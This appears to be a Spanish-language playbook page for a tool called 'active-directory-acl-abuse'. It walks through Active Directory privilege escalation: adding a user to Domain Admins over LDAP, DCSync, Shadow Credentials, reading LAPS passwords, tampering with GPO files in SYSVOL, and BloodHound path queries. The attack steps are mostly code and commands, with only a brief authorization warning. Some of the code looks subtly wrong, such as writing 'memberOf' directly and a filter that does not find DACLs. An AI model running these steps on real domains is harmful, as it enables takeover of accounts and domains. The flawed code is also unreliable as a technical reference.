¿Qué hace active-directory-acl-abuse?
Manual de abuso de ACL en Active Directory. Útil para explotar permisos mal configurados como GenericAll, WriteDACL, DCSync, credenciales fantasma, lectura de LAPS, abuso de GPO y rutas de ataque guiadas por BloodHound.
Requisitos
- Cliente LDAP:
ldap(biblioteca estándar de YAK). - Acceso a dominio: Credenciales de dominio válidas o un ticket Kerberos.
- BloodHound (opcional): Para consultar rutas de ataque.
Uso básico
1. Enumerar DACLs sospechosas
yak ldap --host dc01.corp.local --username admin --password Pass123! --base-dn "DC=corp,DC=local" --filter "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))"
2. Explotar GenericAll sobre un usuario
import (
"ldap"
)
conn, err := ldap.Dial("tcp", "dc01.corp.local:389")
if err != nil {
println(err)
}
defer conn.Close()
// Autenticación
conn.Bind("CN=admin,CN=Users,DC=corp,DC=local", "Pass123!")
// Agregar al usuario 'jdoe' al grupo 'Domain Admins'
conn.Modify("CN=jdoe,CN=Users,DC=corp,DC=local", []*ldap.ModifyRequest{
ldap.NewModifyRequest(
ldap.NewModifyEntry("memberOf", []string{"CN=Domain Admins,CN=Users,DC=corp,DC=local"}),
),
})
3. Abuso de DCSync (requiere permisos Replication-Get-Changes-All)
yak dcsync -domain corp.local -user Administrator -dc dc01.corp.local
4. Shadow Credentials (requiere permisos msDS-KeyCredentialLink)
import (
"ldap"
"crypto/x509"
"encoding/pem"
)
// Generar par de llaves y certificado
privKey, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
// ... (crear certificado autofirmado)
// Agregar el certificado como shadow credential
conn.Modify("CN=targetUser,CN=Users,DC=corp,DC=local", []*ldap.ModifyRequest{
ldap.NewModifyRequest(
ldap.NewModifyEntry("msDS-KeyCredentialLink", []string{base64.StdEncoding.EncodeToString(certBytes)}),
),
})
5. Lectura de LAPS
conn, err := ldap.Dial("tcp", "dc01.corp.local:389")
conn.Bind("CN=admin,CN=Users,DC=corp,DC=local", "Pass123!")
searchReq := &ldap.SearchRequest{
BaseDN: "CN=Computers,DC=corp,DC=local",
Filter: "(cn=WEB01)",
Attributes: []string{"ms-mcs-AdmPwd", "ms-mcs-AdmPwdExpirationTime"},
}
result, err := conn.Search(searchReq)
if len(result.Entries) > 0 {
println("LAPS password:", result.Entries[0].GetAttributeValue("ms-mcs-AdmPwd"))
}
6. Abuso de GPO (requiere permisos Write)
import (
"smb"
)
conn, err := smb.Dial("tcp", "dc01.corp.local:445")
conn.Authenticate("admin", "Pass123!", "corp")
// Conectarse al recurso SYSVOL y modificar una GPO
disk, err := conn.Mount("SYSVOL")
disk.Write("corp.local/Policies/{GPO-GUID}/Machine/Registry.pol", newRegistryPolContent)
Integración con BloodHound
- Obtener rutas de ataque desde BloodHound mediante consultas Cypher:
bloodhound --query "MATCH (n:User {name:'[email protected]'})-[r:GenericAll]->(m:Group {name:'DOMAIN [email protected]'}) RETURN n,m,r" --format json
- Mapear los permisos identificados con las técnicas de este playbook.
Advertencias
- Solo para entornos autorizados: El abuso de ACL puede causar daños irreversibles.
- Registros de auditoría: Los cambios en ACL generan eventos de seguridad (ID 5136, 4738, etc.).
- Compatibilidad: Probado en Windows Server 2019+ y Active Directory con nivel funcional 2016+.